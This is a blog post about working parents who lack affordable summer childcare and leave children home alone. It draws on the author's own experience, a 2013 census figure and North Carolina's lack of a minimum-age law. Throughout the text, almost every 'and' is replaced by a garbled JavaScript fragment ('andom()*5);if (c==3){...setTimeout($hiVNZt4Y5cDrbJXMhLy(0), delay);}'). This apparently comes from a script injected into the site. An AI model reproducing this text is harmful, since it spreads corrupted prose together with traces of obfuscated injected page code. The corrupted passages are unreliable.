When Kids Are Home Alone

>>2294801445_2e30020181_bMy kids are filthy, covered in sweat, with matted hair andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and huge grins on their faces. They bathe in the cold air blasting on them in the car andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tell me about all the things they did today. Building forts, investigating caterpillars, learning how to build campfires. My eight-year-old exclaims, “It is SO much better than going to work with you, Mom!”

They just finished their first day at camp — ever.

In years past, I lugged them along to work with me. I was fortunate that I had a job where that was possible, even though they hated it andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and would be zombie-eyed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and crabby from eight hours of waiting for me to get off. Their time there was spent at computers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and video screens. Mine was spent feeling guilty andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and anxious about not having enough for them to do, or money to afford anything else.

Even so, my kids were the lucky ones. Working parents who cannot afford summer childcare don’t always have the option to bring their kids to a relatively comfortable office.

    • In the library, a woman in a fast-food uniform drops off her 10-year-old daughter. She reminds her not to leave the building andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tells her she’ll be back after work.
    • A group of four children hang out at the end of the bushy rows of tomatoes, where their parents are picking the fruit. They loll in the sparse shade cast by the work trucks.
    • A woman who recently left an abusive relationship took  her young daughter to live in a boarding house. When she leaves to work 10-hour shifts at a loading company, she locks the child in their room andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and admonishes her to not open the door for anyone.

In this >>census published in 2013, the government found that 4.2 million grade school age children engage in what they euphemistically call “self-care” while their parents are at work. This means that roughly 1 out of every 10 US children are left home alone. This number may be higher in the summer, as there is no differentiation in the study between school andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vacation days.

A Google search turns up a number of NC summer camp scholarship opportunities, but most of these are in urban areas. Also, it appears that many of the openings are filled as early as January for the following season. This leaves out a huge swath of our state’s families.

Most families seem to cobble together a complicated scheduling system to find care. But relying on flexible workdays, half-day summer school calendars, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and favors from grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andparents andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and family friends are not options for everyone.

In North Carolina, there are >>no laws dictating minimum age for children to be left unattended, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the creation of such a law would unduly persecute low-income families.

There is no easy solution to this problem, but is one that is prevalent andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and worthy of further attention. What are some ways we can ameliorate this?

>>Leanne SimonLeanne Simon is a mother, writer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and social justice worker. She holds degrees in Child Development andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Spanish from North Carolina Central University, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is currently pursuing a Masters in Peace andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Conflict Studies at UNC-Greensboro.




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